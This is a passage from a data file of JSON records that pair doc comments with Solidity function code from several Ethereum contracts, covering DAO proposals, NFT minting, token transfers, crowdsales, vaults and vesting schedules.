getUintConfig(CONFIG_DRAFT_VOTING_PHASE).add(getUintConfig(CONFIG_VOTE_CLAIMING_DEADLINE)));\r\n address _endorser;\r\n (,,_endorser,,,,,,,) = daoStorage().readProposal(_proposalId);\r\n require(_endorser != EMPTY_ADDRESS);\r\n daoStorage().finalizeProposal(_proposalId);\r\n daoStorage().setProposalDraftVotingTime(_proposalId, now);\r\n\r\n emit FinalizeProposal(_proposalId);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Function to set milestone to be completed\r\n @dev This can only be called in the Main Phase of DigixDAO by the proposer. It sets the\r\n voting time for the next milestone, which is immediately, for most of the times. If there is not enough time left in the current\r\n quarter, then the next voting is postponed to the start of next quarter\r\n @param _proposalId ID of the proposal\r\n @param _milestoneIndex Index of the milestone. Index starts from 0 (for the first milestone)\r\n */", "function_code": "function finishMilestone(bytes32 _proposalId, uint256 _milestoneIndex)\r\n public\r\n {\r\n senderCanDoProposerOperations();\r\n require(isFromProposer(_proposalId));\r\n\r\n uint256[] memory _currentFundings;\r\n (_currentFundings,) = daoStorage().readProposalFunding(_proposalId);\r\n\r\n // If there are N milestones, the milestone index must be < N. Otherwise, putting a milestone index of N will actually return a valid timestamp that is\r\n // right after the final voting round (voting round index N is the final voting round)\r\n // Which could be abused ( to \"finish\" a milestone even after the final voting round)\r\n require(_milestoneIndex < _currentFundings.length);\r\n\r\n // must be after the start of this milestone, and the milestone has not been finished yet (voting hasnt started)\r\n uint256 _startOfCurrentMilestone = startOfMilestone(_proposalId, _milestoneIndex);\r\n require(now > _startOfCurrentMilestone);\r\n require(daoStorage().readProposalVotingTime(_proposalId, _milestoneIndex.add(1)) == 0);\r\n\r\n daoStorage().setProposalVotingTime(\r\n _proposalId,\r\n _milestoneIndex.add(1),\r\n getTimelineForNextVote(_milestoneIndex.add(1), now)\r\n ); // set the voting time of next voting\r\n\r\n emit FinishMilestone(_proposalId, _milestoneIndex);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Function to update the PRL (regulatory status) status of a proposal\r\n @dev if a proposal is paused or stopped, the proposer wont be able to withdraw the funding\r\n @param _proposalId ID of the proposal\r\n @param _doc hash of IPFS uploaded document, containing details of PRL Action\r\n */", "function_code": "function updatePRL(\r\n bytes32 _proposalId,\r\n uint256 _action,\r\n bytes32 _doc\r\n )\r\n public\r\n if_prl()\r\n {\r\n require(_action == PRL_ACTION_STOP || _action == PRL_ACTION_PAUSE || _action == PRL_ACTION_UNPAUSE);\r\n daoStorage().updateProposalPRL(_proposalId, _action, _doc, now);\r\n\r\n emit PRLAction(_proposalId, _action, _doc);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Function to close proposal (also get back collateral)\r\n @dev Can only be closed if the proposal has not been finalized yet\r\n @param _proposalId ID of the proposal\r\n */", "function_code": "function closeProposal(bytes32 _proposalId)\r\n public\r\n {\r\n senderCanDoProposerOperations();\r\n require(isFromProposer(_proposalId));\r\n bytes32 _finalVersion;\r\n bytes32 _status;\r\n (,,,_status,,,,_finalVersion,,) = daoStorage().readProposal(_proposalId);\r\n require(_finalVersion == EMPTY_BYTES);\r\n require(_status != PROPOSAL_STATE_CLOSED);\r\n require(daoStorage().readProposalCollateralStatus(_proposalId) == COLLATERAL_STATUS_UNLOCKED);\r\n\r\n daoStorage().closeProposal(_proposalId);\r\n daoStorage().setProposalCollateralStatus(_proposalId, COLLATERAL_STATUS_CLAIMED);\r\n emit CloseProposal(_proposalId);\r\n require(daoFundingManager().refundCollateral(msg.sender, _proposalId));\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @notice Function for founders to close all the dead proposals\r\n @dev Dead proposals = all proposals who are not yet finalized, and been there for more than the threshold time\r\n The proposers of dead proposals will not get the collateral back\r\n @param _proposalIds Array of proposal IDs\r\n */", "function_code": "function founderCloseProposals(bytes32[] _proposalIds)\r\n external\r\n if_founder()\r\n {\r\n uint256 _length = _proposalIds.length;\r\n uint256 _timeCreated;\r\n bytes32 _finalVersion;\r\n bytes32 _currentState;\r\n for (uint256 _i = 0; _i < _length; _i++) {\r\n (,,,_currentState,_timeCreated,,,_finalVersion,,) = daoStorage().readProposal(_proposalIds[_i]);\r\n require(_finalVersion == EMPTY_BYTES);\r\n require(\r\n (_currentState == PROPOSAL_STATE_PREPROPOSAL) ||\r\n (_currentState == PROPOSAL_STATE_DRAFT)\r\n );\r\n require(now > _timeCreated.add(getUintConfig(CONFIG_PROPOSAL_DEAD_DURATION)));\r\n emit CloseProposal(_proposalIds[_i]);\r\n daoStorage().closeProposal(_proposalIds[_i]);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Execute multiple trades in a single transaction.\r\n * @param wrappers Addresses of exchange wrappers.\r\n * @param token Address of ERC20 token to receive in first trade.\r\n * @param trade1 Calldata of Ether => ERC20 trade.\r\n * @param trade2 Calldata of ERC20 => Ether trade.\r\n */", "function_code": "function trade(\r\n address[2] wrappers,\r\n address token,\r\n bytes trade1,\r\n bytes trade2\r\n )\r\n external\r\n payable\r\n {\r\n // Execute the first trade to get tokens\r\n require(execute(wrappers[0], msg.value, trade1));\r\n\r\n uint256 tokenBalance = IERC20(token).balanceOf(this);\r\n\r\n // Transfer tokens to the next exchange wrapper\r\n transfer(token, wrappers[1], tokenBalance);\r\n\r\n // Execute the second trade to get Ether\r\n require(execute(wrappers[1], 0, trade2));\r\n \r\n // Send the arbitrageur Ether\r\n msg.sender.transfer(address(this).balance);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfer function to assign a token to another address\r\n * Reverts if the address already owns a token\r\n * @param from address the address that currently owns the token\r\n * @param to address the address to assign the token to\r\n * @param tokenId uint256 ID of the token to transfer\r\n */", "function_code": "function transferFrom(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) public isValidAddress(to) isValidAddress(from) onlyOwner {\r\n require(tokenOwned[to] == 0, \"Destination address already owns a token\");\r\n require(ownerOf[tokenId] == from, \"From address does not own token\");\r\n\r\n tokenOwned[from] = 0;\r\n tokenOwned[to] = tokenId;\r\n\r\n ownerOf[tokenId] = to;\r\n\r\n emit Transfer(from, to, tokenId);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Burn function to remove a given tokenId\r\n * Reverts if the token ID does not exist.\r\n * @param tokenId uint256 ID of the token to burn\r\n */", "function_code": "function burn(uint256 tokenId) public onlyOwner {\r\n address previousOwner = ownerOf[tokenId];\r\n require(previousOwner != address(0), \"ERC721: token does not exist\");\r\n\r\n delete tokenOwned[previousOwner];\r\n delete ownerOf[tokenId];\r\n\r\n for (uint256 i = 0; i < tokens.length; i++) {\r\n if (tokens[i] == tokenId) {\r\n tokens[i] = tokens[tokens.length - 1];\r\n break;\r\n }\r\n }\r\n\r\n tokens.pop();\r\n\r\n if (bytes(tokenURIs[tokenId]).length != 0) {\r\n delete tokenURIs[tokenId];\r\n }\r\n\r\n emit Burn(tokenId);\r\n }", "version": "0.5.17"} {"comment": "/// @notice The actual mint function used for presale and public minting then. \n/// @param amount The number of tokens you're able to mint in one transaction.", "function_code": "function mint(uint256 amount) external payable {\n require(!saleIsClosed, \"The sale is closed.\");\n require(amount > 0 && amount <= 3, \"Amount must be within [1;3].\");\n\n if(whitelistSaleIsActive){ // check if we are in presale \n require(hasRole(WHITELIST_ROLE, msg.sender), \"You're not on the whitelist.\");\n require(whitelistPasses[msg.sender] != 0 && (whitelistPasses[msg.sender] - amount) >= 0, \"You are out of utility.\");\n require(whitelistCurrentLimit > 0, \"We're out of tokens.\");\n }else{ // if not check if the public sale is active and we're in the limits\n require(saleIsActive, \"Sale not active yet.\");\n require(publicCurrentLimit > 0, \"We're out of tokens.\");\n }\n\n require((_tokenIdCounter.current() + amount) <= MAX_SUPPLY , \"Out of tokens.\");\n require(msg.value == (41000000000000000 * amount), \"The amount of ether is wrong.\");\n\n for(uint256 idx = 1; idx <= amount; idx++){\n\n if(hasRole(WHITELIST_ROLE, msg.sender)){ // make sure we reduce the amount of whitelistPasses left of the user and reduce the total limit\n whitelistPasses[msg.sender]--;\n whitelistCurrentLimit--;\n }else{\n publicCurrentLimit--;\n }\n\n _tokenIdCounter.increment();\n _safeMint(msg.sender, _tokenIdCounter.current());\n utilityState[_tokenIdCounter.current()] = 3;\n\n }\n\n }", "version": "0.8.4"} {"comment": "/// @notice Admin mint function that is used for preminting NFTs. \n/// @param amount The amount of NFTs that can be minted in one transaction.", "function_code": "function adminMint(address receiver, uint256 amount) external onlyOwner{\n require(!saleIsClosed, \"The sale is closed.\");\n require(_tokenIdReserveCounter.current() < MAX_RESERVE , \"Out of reserve tokens.\");\n require(amount > 0 && amount <= 20, \"Amount must be within [1;20].\");\n\n for(uint256 idx = 1; idx <= amount; idx++){\n _tokenIdReserveCounter.increment();\n _tokenIdCounter.increment();\n\n _safeMint(receiver, _tokenIdCounter.current());\n utilityState[_tokenIdCounter.current()] = 3;\n }\n }", "version": "0.8.4"} {"comment": "/// @dev claim tokenId mints with placeholder URI in batch 'phase'", "function_code": "function safeMint() external payable nonReentrant {\r\n // check mint is open\r\n require(mintOpen, 'CLOSED');\r\n // check whitelist, if flipped on\r\n if (whitelistOn) require(whitelist[msg.sender], 'NOT_WHITELISTED');\r\n // check if price attached\r\n require(msg.value == mintPrice, 'BAD_PRICE');\r\n // increment Id for mint (we want to match supply for ease)\r\n _tokenIdCounter.increment();\r\n // set tokenId\r\n uint256 tokenId = _tokenIdCounter.current();\r\n // check new Id doesn't pass mint limit for phase\r\n require(tokenId <= mintPhaseLimit, 'PHASE_LIMIT');\r\n // mint Id to caller\r\n _safeMint(msg.sender, tokenId);\r\n // set Id placeholder URI\r\n _setTokenURI(tokenId, placeholderURI);\r\n // forward ETH to contract owner\r\n _safeTransferETH(owner(), msg.value);\r\n }", "version": "0.8.10"} {"comment": "/// **** MINT MGMT\n/// @dev set next phase for minting (limit + price)", "function_code": "function setMintPhase(uint256 mintPhaseLimit_, uint256 mintPrice_) external onlyOwner {\r\n // ensure Id limit doesn't exceed cap\r\n require(mintPhaseLimit_ <= mintCap, 'CAPPED');\r\n // ensure Id limit is greater than current supply (increasing phase)\r\n require(mintPhaseLimit_ > totalSupply(), 'BAD_LIMIT');\r\n // set new minting limit under cap\r\n mintPhaseLimit = mintPhaseLimit_;\r\n // set new minting price\r\n mintPrice = mintPrice_;\r\n // increment phase for tracking\r\n mintPhase++;\r\n }", "version": "0.8.10"} {"comment": "/// @dev update minted URIs", "function_code": "function setURIs(uint256[] calldata tokenIds, string[] calldata uris) external onlyOwner {\r\n require(tokenIds.length == uris.length, 'NO_ARRAY_PARITY');\r\n\r\n // this is reasonably safe from overflow because incrementing `i` loop beyond\r\n // 'type(uint256).max' is exceedingly unlikely compared to optimization benefits\r\n unchecked {\r\n for (uint256 i; i < tokenIds.length; i++) {\r\n _setTokenURI(tokenIds[i], uris[i]);\r\n }\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @dev ETH tranfer helper - optimized in assembly:", "function_code": "function _safeTransferETH(address to, uint256 amount) internal {\r\n bool callStatus;\r\n\r\n assembly {\r\n // transfer the ETH and store if it succeeded or not\r\n callStatus := call(gas(), to, amount, 0, 0, 0, 0)\r\n }\r\n\r\n require(callStatus, 'ETH_TRANSFER_FAILED');\r\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Reserved for giveaways.\n */", "function_code": "function reserveGiveaway(uint256 numTokens) public onlyOwner {\n uint currentSupply = totalSupply();\n require(totalSupply() + numTokens <= 10, \"10 mints for sale giveaways\");\n uint256 index;\n // Reserved for people who helped this project and giveaways\n for (index = 0; index < numTokens; index++) {\n _safeMint(owner(), currentSupply + index);\n }\n }", "version": "0.7.6"} {"comment": "/*\r\n * - `sender` cannot be the zero address.\r\n * - `recipient` cannot be the zero address.\r\n * - `sender` must have a balance of at least `amount`.\r\n */", "function_code": "function _transfer(address sender, address recipient, uint256 amount) internal virtual {\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\r\n uint256 senderBalance = _balances[sender];\r\n require(senderBalance >= amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[sender] = senderBalance - amount;\r\n _balances[recipient] += amount;\r\n\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.8.0"} {"comment": "// Purchase tokens", "function_code": "function buyTokens(address beneficiary) public nonReentrant payable whenNotPaused {\r\n require(beneficiary != address(0));\r\n require(validPurchase());\r\n \r\n \r\n uint256 weiAmount = msg.value;\r\n uint256 returnWeiAmount;\r\n \r\n // calculate token amount to be created\r\n uint rate = getRate();\r\n assert(rate > 0);\r\n uint256 tokens = weiAmount.mul(rate);\r\n \r\n uint256 newsoldTokens = soldTokens.add(tokens);\r\n \r\n if (newsoldTokens > contractCap) {\r\n newsoldTokens = contractCap;\r\n tokens = contractCap.sub(soldTokens);\r\n uint256 newWeiAmount = tokens.div(rate);\r\n returnWeiAmount = weiAmount.sub(newWeiAmount);\r\n weiAmount = newWeiAmount;\r\n }\r\n \r\n // update state\r\n weiRaised = weiRaised.add(weiAmount);\r\n \r\n token.transfer(beneficiary, tokens);\r\n soldTokens = newsoldTokens;\r\n if (returnWeiAmount > 0){\r\n msg.sender.transfer(returnWeiAmount);\r\n }\r\n \r\n emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n \r\n forwardFunds();\r\n }", "version": "0.5.11"} {"comment": "/**\r\n * @dev Bootstrap the supply distribution and fund the UniswapV2 liquidity pool\r\n */", "function_code": "function bootstrap() external returns (bool){\r\n\r\n\r\n require(isBootStrapped == false, 'Require unintialized token');\r\n require(msg.sender == owner, 'Require ownership');\r\n\r\n //Distribute tokens\r\n uint256 premineAmount = 100000000 * (10 ** 18); //100 mil \r\n uint256 marketingAmount = 1000000000 * (10 ** 18); // 1 bil for justin sun\r\n\r\n balances[marketingAccount] = marketingAmount;\r\n emit Transfer(address(0), marketingAccount, marketingAmount);\r\n\r\n\r\n for (uint256 i = 0; i < 15; i++) {\r\n balances[ambassadorList[i]] = premineAmount;\r\n emit Transfer(address(0), ambassadorList[i], balances[ambassadorList[i]]);\r\n }\r\n balances[owner] = _totalSupply.sub(marketingAmount + 15 * premineAmount);\r\n\r\n emit Transfer(address(0), owner, balances[owner]);\r\n\r\n isBootStrapped = true;\r\n\r\n return isBootStrapped;\r\n\r\n }", "version": "0.6.2"} {"comment": "// the function is name differently to not cause inheritance clash in truffle and allows tests", "function_code": "function initializeVault(address _storage,\n address _underlying,\n uint256 _toInvestNumerator,\n uint256 _toInvestDenominator\n ) public initializer {\n require(_toInvestNumerator <= _toInvestDenominator, \"cannot invest more than 100%\");\n require(_toInvestDenominator != 0, \"cannot divide by 0\");\n\n ERC20Detailed.initialize(\n string(abi.encodePacked(\"DELTA_\", ERC20Detailed(_underlying).symbol())),\n string(abi.encodePacked(\"d\", ERC20Detailed(_underlying).symbol())),\n ERC20Detailed(_underlying).decimals()\n );\n ControllableInit.initialize(\n _storage\n );\n\n uint256 underlyingUnit = 10 ** uint256(ERC20Detailed(address(_underlying)).decimals());\n uint256 implementationDelay = 12 hours;\n uint256 strategyChangeDelay = 12 hours;\n VaultStorage.initialize(\n _underlying,\n _toInvestNumerator,\n _toInvestDenominator,\n underlyingUnit,\n implementationDelay,\n strategyChangeDelay\n );\n }", "version": "0.5.16"} {"comment": "//Get the tokens that exist for this wallet", "function_code": "function walletOfOwner(address _owner)\r\n public\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\r\n for (uint256 i; i < ownerTokenCount; i++) {\r\n tokenIds[i] = tokenOfOwnerByIndex(_owner, i);\r\n }\r\n return tokenIds;\r\n }", "version": "0.8.0"} {"comment": "// if any applicable tokens are held by this contract, it should be able to deposit them", "function_code": "function _depositAssets ()\r\n internal {\r\n uint LPBalance = IERC20(liquidity).balanceOf(address(this)); // load LP balance into memory\r\n\r\n if(LPBalance > 0) // are there any LP tokens?\r\n IStakingRewards(staking).deposit(LPBalance); // deposit the entire amount into the StakingRewards contract\r\n\r\n uint krillBalance = IERC20(krill).balanceOf(address(this)); // load KRILL balance into memory\r\n\r\n if(krillBalance > 0 ) // is there any krill here dumped from another contract?\r\n ICompounder(cKrill).buy(krillBalance); // buy cKRILL with whatever balance is held\r\n }", "version": "0.8.7"} {"comment": "// claim rewards from NFTs, staking, and cKRILL position", "function_code": "function _claimRewardsAndDisburse()\r\n internal {\r\n IClaimable(staking).claim(); // Claim rewards from the LP staking contract\r\n IClaimable(whalesGame).claim(); // Claim rewards from the whales game contract\r\n\r\n if(ICompounder(cKrill).dividendsOf(address(this)) > 0) // If this contract has rewards to claim\r\n ICompounder(cKrill).withdraw(); // Claim rewards from the cKRILL held by this contract\r\n\r\n uint krillBalance = IERC20(krill).balanceOf(address(this)); // load KRILL balance into memory\r\n \r\n if(krillBalance > 0) // is there any krill here dumped from another contract?\r\n IERC20(krill).burn(krillBalance); // burn it all\r\n }", "version": "0.8.7"} {"comment": "// Callback function, distribute tokens to sender when ETH donation is recieved", "function_code": "function () payable public {\r\n \r\n require(isLive);\r\n uint256 donation = msg.value;\r\n uint256 amountZNT = donation * rateOfZNT;\r\n uint256 amountZLT = donation * rateOfZLT;\r\n require(availableZNT >= amountZNT && availableZLT >= amountZLT);\r\n donationOf[msg.sender] += donation;\r\n amountEthRaised += donation;\r\n availableZNT -= amountZNT;\r\n availableZLT -= amountZLT;\r\n tokenZNT.transfer(msg.sender, amountZNT);\r\n tokenZLT.transfer(msg.sender, amountZLT);\r\n beneficiary.transfer(donation);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Resets the player's current progress.\r\n */", "function_code": "function resetProgress()\r\n public\r\n returns (bool) {\r\n \r\n if (playerCurrentProgress[msg.sender] > 0) {\r\n \r\n playerCurrentProgress[msg.sender] = 0;\r\n \r\n playerAddressToBid[msg.sender] = 0;\r\n \r\n playerAddressToRollUnder[msg.sender] = 0;\r\n\r\n emit ResetProgress(\r\n msg.sender, \r\n true\r\n );\r\n\r\n return true;\r\n \r\n } else {\r\n \r\n return false;\r\n }\r\n \r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Calculates the payout based on roll under in Wei.\r\n */", "function_code": "function _calculatePayout(\r\n uint256 rollUnder,\r\n uint256 value)\r\n internal\r\n view\r\n isWithinLimits(value)\r\n returns (uint256) {\r\n \r\n require(rollUnder >= minRoll && rollUnder <= maxRoll, \"invalid roll under number!\");\r\n \r\n uint256 _totalPayout = 0 wei;\r\n \r\n _totalPayout = ((((value * (100-(SafeMath.sub(rollUnder,1)))) / (SafeMath.sub(rollUnder,1))+value))*platformCutPayout/platformCutPayoutDivisor)-value;\r\n \r\n return _totalPayout;\r\n }", "version": "0.4.24"} {"comment": "/* at initialization, setup the owner */", "function_code": "function WowanderICOPrivateCrowdSale(\r\n address addressOfTokenUsedAsReward,\r\n\t\taddress addressOfBeneficiary\r\n ) public\r\n {\r\n beneficiary = addressOfBeneficiary;\r\n //startTime = 1516021200;\r\n startTime = 1516021200 - 3600 * 24; // TODO remove\r\n duration = 744 hours;\r\n\t\ttokensContractBalance = 5 * 0.1 finney;\r\n price = 0.000000000005 * 1 ether;\r\n discountPrice = 0.000000000005 * 1 ether * 0.9;\r\n tokenReward = WWWToken(addressOfTokenUsedAsReward);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer several token for a specified addresses\r\n * @param _to The array of addresses to transfer to.\r\n * @param _value The array of amounts to be transferred.\r\n */", "function_code": "function massTransfer(address[] memory _to, uint[] memory _value) public returns (bool){\r\n require(_to.length == _value.length, \"You have different amount of addresses and amounts\");\r\n\r\n uint len = _to.length;\r\n for(uint i = 0; i < len; i++){\r\n if(!_transfer(_to[i], _value[i])){\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Emit new tokens and transfer from 0 to client address. This function will generate 21.5% of tokens for management address as well.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function _mint(address _to, uint _value) private returns (bool){\r\n require(_to != address(0), \"Receiver address cannot be null\");\r\n require(_to != address(this), \"Receiver address cannot be ITCM contract address\");\r\n require(_value > 0 && _value <= leftToMint, \"Looks like we are unable to mint such amount\");\r\n\r\n // 21.5% of token amount to management address\r\n uint managementAmount = _value.mul(215).div(1000);\r\n \r\n leftToMint = leftToMint.sub(_value);\r\n totalSupply = totalSupply.add(_value);\r\n totalSupply = totalSupply.add(managementAmount);\r\n \r\n balances[_to] = balances[_to].add(_value);\r\n balances[managementProfitAddr] = balances[managementProfitAddr].add(managementAmount);\r\n\r\n emit Transfer(address(0), _to, _value);\r\n emit Transfer(address(0), managementProfitAddr, managementAmount);\r\n\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev This is wrapper for _mint.\r\n * @param _to The address to transfer to.\r\n * @param _value The amount to be transferred.\r\n */", "function_code": "function mint(address _to, uint _value) public returns (bool){\r\n require(msg.sender != address(0), \"Sender address cannon be null\");\r\n require(msg.sender == mintingAllowedForAddr || mintingAllowedForAddr == address(0) && msg.sender == contractCreator, \"You are unavailable to mint tokens\");\r\n\r\n return _mint(_to, _value);\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Similar to mint function but take array of addresses and values.\r\n * @param _to The addresses to transfer to.\r\n * @param _value The amounts to be transferred.\r\n */", "function_code": "function mint(address[] memory _to, uint[] memory _value) public returns (bool){\r\n require(_to.length == _value.length, \"You have different amount of addresses and amounts\");\r\n require(msg.sender != address(0), \"Sender address cannon be null\");\r\n require(msg.sender == mintingAllowedForAddr || mintingAllowedForAddr == address(0) && msg.sender == contractCreator, \"You are unavailable to mint tokens\");\r\n\r\n uint len = _to.length;\r\n for(uint i = 0; i < len; i++){\r\n if(!_mint(_to[i], _value[i])){\r\n return false;\r\n }\r\n }\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n * @dev Set a contract address that allowed to mint tokens.\r\n * @param _address The address of another contract.\r\n */", "function_code": "function setMintingContractAddress(address _address) public returns (bool){\r\n require(mintingAllowedForAddr == address(0) && msg.sender == contractCreator, \"Only contract creator can set minting contract and only when it is not set\");\r\n mintingAllowedForAddr = _address;\r\n return true;\r\n }", "version": "0.5.12"} {"comment": "// Guards against integer overflows", "function_code": "function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n } else {\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev this function will send the Team tokens to given address\r\n * @param _teamAddress ,address of the bounty receiver.\r\n * @param _value , number of tokens to be sent.\r\n */", "function_code": "function sendTeamTokens(address _teamAddress, uint256 _value) external whenNotPaused onlyOwner returns (bool) {\r\n\r\n require(teamTokens >= _value);\r\n totalReleased = totalReleased.add(_value);\r\n require(totalReleased <= totalSupply());\r\n teamTokens = teamTokens.sub(_value);\r\n teamTokenHolder[_teamAddress] = true;\r\n teamTokenInitially[_teamAddress] = teamTokenInitially[_teamAddress].add((_value.mul(95)).div(100));\r\n teamLockPeriodStart[_teamAddress] = now; \r\n super._transfer(address(this),_teamAddress,(_value.mul(5)).div(100));\r\n return true;\r\n\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * @notice Mints the vault shares to the msg.sender\r\n * @param amount is the amount of `asset` deposited\r\n */", "function_code": "function _deposit(uint256 amount) private {\r\n uint256 totalWithDepositedAmount = totalBalance();\r\n\r\n // amount needs to be subtracted from totalBalance because it has already been\r\n // added to it from either IWETH.deposit and IERC20.safeTransferFrom\r\n uint256 total = totalWithDepositedAmount.sub(amount);\r\n\r\n uint256 shareSupply = totalSupply();\r\n\r\n // Following the pool share calculation from Alpha Homora:\r\n // solhint-disable-next-line\r\n // https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104\r\n uint256 share = shareSupply == 0\r\n ? amount\r\n : amount.mul(shareSupply).div(total);\r\n\r\n _mint(msg.sender, share);\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Get withdraw amount of shares value\r\n * @param shares How many shares will be exchanged\r\n */", "function_code": "function getWithdrawAmount(uint256 shares, address _addr)\r\n public\r\n view\r\n returns (uint256 amount)\r\n {\r\n uint256 PPS;\r\n\r\n //check if last user: cannot use shares, could be partial withdraw\r\n uint256 userShareBalance = balanceOf(_addr);\r\n\r\n if (userShareBalance == totalSupply()) {\r\n //last user\r\n PPS = getPricePerShare(currentRound);\r\n } else {\r\n PPS = getPricePerShare(currentRound.sub(1));\r\n }\r\n\r\n amount = (shares.mul(PPS)).div(ppsMultiplier);\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Get mint amount for roll()\r\n * @param timestamp current timestamp \r\n */", "function_code": "function getMintAmount(uint timestamp) public view returns (uint256 amount) {\r\n if (timestamp < deployTime + 31557600) {\r\n amount = am1 ; \r\n } else {\r\n if (timestamp < deployTime + 63115200) {\r\n amount = am2 ; \r\n } else {\r\n if (timestamp < deployTime + 94672800) {\r\n amount = am3 ; \r\n } else {\r\n amount = am4 ; \r\n }\r\n }\r\n }\r\n }", "version": "0.8.3"} {"comment": "/*\r\n * @notice Rolls the vault's funds into a new short position.\r\n */", "function_code": "function roll() external onlyOwner {\r\n require(block.timestamp >= readyAt, \"not ready to roll yet\");\r\n \r\n uint mintAmount = getMintAmount(block.timestamp)/52 ; \r\n token_contract.extMint(address(this), mintAmount);\r\n\r\n readyAt = block.timestamp.add(WEEK);\r\n currentRound = currentRound.add(1);\r\n\r\n roundPricePerShare[currentRound] = getPricePerShare(currentRound);\r\n\r\n emit Roll(currentRound, roundPricePerShare[currentRound]);\r\n }", "version": "0.8.3"} {"comment": "/**\r\n * @dev Get pricePerShare of a certain round (multiplied with ppsMultiplier!)\r\n * @param round Round to get the pricePerShare\r\n */", "function_code": "function getPricePerShare(uint256 round) public view returns (uint256 pps) {\r\n if (round == currentRound) {\r\n uint256 _assetBalance = assetBalance();\r\n uint256 _shareSupply = totalSupply();\r\n\r\n if (_shareSupply == 0) {\r\n pps = 1;\r\n } else {\r\n pps = (_assetBalance.mul(ppsMultiplier)).div(_shareSupply);\r\n }\r\n } else {\r\n pps = roundPricePerShare[round];\r\n }\r\n }", "version": "0.8.3"} {"comment": "// ------------------------------------------------------------------------\n// 5 vev Tokens per 0.1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 10;\r\n } else {\r\n tokens = msg.value * 5;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Using a minimal proxy contract pattern initialises the contract and sets delegation\r\n * @dev initialises the VestingDepositAccount (see https://eips.ethereum.org/EIPS/eip-1167)\r\n * @dev only controller\r\n */", "function_code": "function init(address _tokenAddress, address _controller, address _beneficiary) external {\r\n require(controller == address(0), \"VestingDepositAccount::init: Contract already initialized\");\r\n token = FuelToken(_tokenAddress);\r\n controller = _controller;\r\n beneficiary = _beneficiary;\r\n\r\n // sets the beneficiary as the delegate on the token\r\n token.delegate(beneficiary);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Create a new vesting schedule\r\n * @notice A transfer is used to bring tokens into the VestingDepositAccount so pre-approval is required\r\n * @notice Delegation is set for the beneficiary on the token during schedule creation\r\n * @param _beneficiary beneficiary of the vested tokens\r\n * @param _amount amount of tokens (in wei)\r\n */", "function_code": "function createVestingSchedule(address _beneficiary, uint256 _amount) external returns (bool) {\r\n require(msg.sender == owner, \"VestingContract::createVestingSchedule: Only Owner\");\r\n require(_beneficiary != address(0), \"VestingContract::createVestingSchedule: Beneficiary cannot be empty\");\r\n require(_amount > 0, \"VestingContract::createVestingSchedule: Amount cannot be empty\");\r\n\r\n // Ensure only one per address\r\n require(\r\n vestingSchedule[_beneficiary].amount == 0,\r\n \"VestingContract::createVestingSchedule: Schedule already in flight\"\r\n );\r\n\r\n // Set up the vesting deposit account for the _beneficiary\r\n address depositAccountAddress = createClone(baseVestingDepositAccount);\r\n VestingDepositAccount depositAccount = VestingDepositAccount(depositAccountAddress);\r\n depositAccount.init(address(token), address(this), _beneficiary);\r\n\r\n // Create schedule\r\n vestingSchedule[_beneficiary] = Schedule({\r\n amount : _amount,\r\n depositAccount : depositAccount\r\n });\r\n\r\n // Vest the tokens into the deposit account and delegate to the beneficiary\r\n require(\r\n token.transferFrom(msg.sender, address(depositAccount), _amount),\r\n \"VestingContract::createVestingSchedule: Unable to transfer tokens to VDA\"\r\n );\r\n\r\n emit ScheduleCreated(_beneficiary, _amount);\r\n\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * @notice Updates a schedule beneficiary\r\n * @notice Voids the old schedule and transfers remaining amount to new beneficiary via a new schedule\r\n * @dev Only owner\r\n * @param _currentBeneficiary beneficiary to be replaced\r\n * @param _newBeneficiary beneficiary to vest remaining tokens to\r\n */", "function_code": "function updateScheduleBeneficiary(address _currentBeneficiary, address _newBeneficiary) external {\r\n require(msg.sender == owner, \"VestingContract::updateScheduleBeneficiary: Only owner\");\r\n\r\n // retrieve existing schedule\r\n Schedule memory schedule = vestingSchedule[_currentBeneficiary];\r\n require(\r\n schedule.amount > 0,\r\n 